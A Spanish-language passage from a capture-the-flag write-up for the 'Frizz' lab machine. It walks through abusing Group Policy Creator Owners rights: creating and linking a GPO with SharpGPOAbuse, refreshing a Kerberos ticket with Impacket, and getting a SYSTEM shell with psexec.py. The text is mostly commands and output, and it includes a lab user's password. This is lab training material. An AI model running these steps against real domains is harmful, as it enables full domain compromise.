El siguiente artículo de Microsoft contiene más información sobre este grupo en Active Directory
PS C:\Users\M.SchoolBus> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================ ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
frizz\Desktop Admins Group S-1-5-21-2386970044-1145388522-2932701813-1121 Mandatory group, Enabled by default, Enabled group
frizz\Group Policy Creator Owners Group S-1-5-21-2386970044-1145388522-2932701813-520 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
frizz\Denied RODC Password Replication Group Alias S-1-5-21-2386970044-1145388522-2932701813-572 Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Para llevar a cabo nuestra escalada de privilegios, crearemos una nueva política de grupo que esté enlazada a la GPO principal según la siguiente guía de buenas prácticas.
Cualquier GPO configurado a nivel de dominio se aplicará a todos los objetos de Active Directory del dominio, lo que podría dar lugar a que algunos ajustes se apliquen a usuarios y equipos inadecuados. El único GPO que debe configurarse a nivel de dominio es la directiva de dominio predeterminada.
En este caso existen dos políticas de grupo, las que se crean de forma predeterminada
PS C:\ProgramData> Get-GPO -All
DisplayName : Default Domain Policy
DomainName : frizz.htb
Owner : frizz\Domain Admins
Id : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:25:44 AM
UserVersion :
ComputerVersion :
WmiFilter :
DisplayName : Default Domain Controllers Policy
DomainName : frizz.htb
Owner : frizz\Domain Admins
Id : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:19:24 AM
UserVersion :
ComputerVersion :
WmiFilter :
Utilizaremos el proyecto SharpGPOAbuse
, lo descargaremos y lo subiremos a la máquina víctima. Podemos copiar el ejecutable directamente con scp
KRB5CCNAME=m.schoolbus.ccache scp ../exploits/SharpGPOAbuse.exe 'm.schoolbus@frizzdc.frizz.htb:C:\Programdata'
SharpGPOAbuse.exe
Exploiting - Local Administrator
Comenzaremos creando un nuevo grupo de políticas, puedes usar un nombre que lo distinga de los otros GPO
PS C:\ProgramData> New-GPO -name "incommatose"
DisplayName : incommatose
DomainName : frizz.htb
Owner : frizz\M.SchoolBus
Id : 18684475-3e0c-44c8-a6f0-9f81a49c42f6
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 8/24/2025 7:42:27 PM
ModificationTime : 8/24/2025 7:42:27 PM
UserVersion :
ComputerVersion :
WmiFilter :
Ahora enlazaremos este nuevo GPO a la OU donde se encuentra el controlador de dominio, especificaremos el Distinguished Name
PS C:\ProgramData> New-GPLINK -name "incommatose" -target "OU=Domain Controllers,DC=frizz,DC=htb"
GpoId : 18684475-3e0c-44c8-a6f0-9f81a49c42f6
DisplayName : incommatose
Enabled : True
Enforced : False
Target : OU=Domain Controllers,DC=frizz,DC=htb
Order : 2
En mi caso he agregado al usuario m.school
al grupo Administrators
de manera local
PS C:\ProgramData> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "m.schoolbus" --GPOName "incommatose" --Author "incommatose"
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of m.schoolbus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "incommatose" is: {3215F2BD-81EF-4A6E-A11F-73F277CA6CBA}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{3215F2BD-81EF-4A6E-A11F-73F277CA6CBA}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
Root Time
Actualizaremos las políticas con el comando gpupdate
de manera forzada
PS C:\ProgramData> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
Si consultamos los grupos a los que pertenece m.schoolbus
, veremos que ahora pertenece a Administrators
PS C:\ProgramData> net user m.schoolbus
User name M.SchoolBus
Full Name Marvin SchoolBus
Comment Desktop Administrator
User\'s comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/29/2024 7:27:03 AM
Password expires Never
Password changeable 10/29/2024 7:27:03 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 8/24/2025 3:16:38 PM
Logon hours allowed All
Local Group Memberships *Administrators *Remote Management Use
Global Group memberships *Domain Users *Desktop Admins
The command completed successfully.
Como ahora el usuario m.schoolbus
se encuentra en el grupo Administrators
, debemos volver a generar un ticket kerberos
. Esto de debe a que los tickets guardan información del usuario, incluyendo sus privilegios, a través de PAC
En Kerberos, PAC son las siglas de
Privileged Attribute Certificate
(Certificado de Atributo de Privilegio), una estructura de datos que contiene información de autenticación y autorización sobre el usuario, como su identificación, pertenencia a grupos y otros privilegios.
Solicitaremos un TGT para el usuario m.school
, este contemplará los nuevos privilegios
ntpdate 10.10.11.60 && getTGT.py frizz.htb/m.schoolbus:'!suBcig@MehTed!R' -dc-ip frizzdc.frizz.htb
2025-08-24 23:46:11.151723 (-0400) +0.035359 +/- 0.086968 10.10.11.60 s1 no-leap
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in m.schoolbus.ccache
Ahora cargaremos el ticket en la variable KRB5CCNAME
para emplearlo a modo de autenticación frente a SSH
, ten en cuenta que debemos cerrar la sesión actual del usuario m.school
KRB5CCNAME=m.schoolbus.ccache ssh -k m.schoolbus@frizzdc.frizz.htb
Alternativamente, podremos conectarnos a través de herramientas como
psexec.py
, podremos obtener una consola comont authority\system
KRB5CCNAME=m.schoolbus.ccache psexec.py frizz.htb/m.schoolbus@frizzdc.frizz.htb -k -no-pass
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on frizzdc.frizz.htb.....
[*] Found writable share ADMIN$
[*] U ploading file oRIaJIzF.exe
[*] Opening SVCManager on frizzdc.frizz.htb.....
[*] Creating service jIcy on frizzdc.frizz.htb.....
[*] Starting service jIcy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Ahora ya podremos ver la última flag ubicada dentro de la carpeta C:\Users\Administrator\Desktop
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b94...
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
I am always doing that which I cannot do, in order that I may learn how to do it. — Pablo Picasso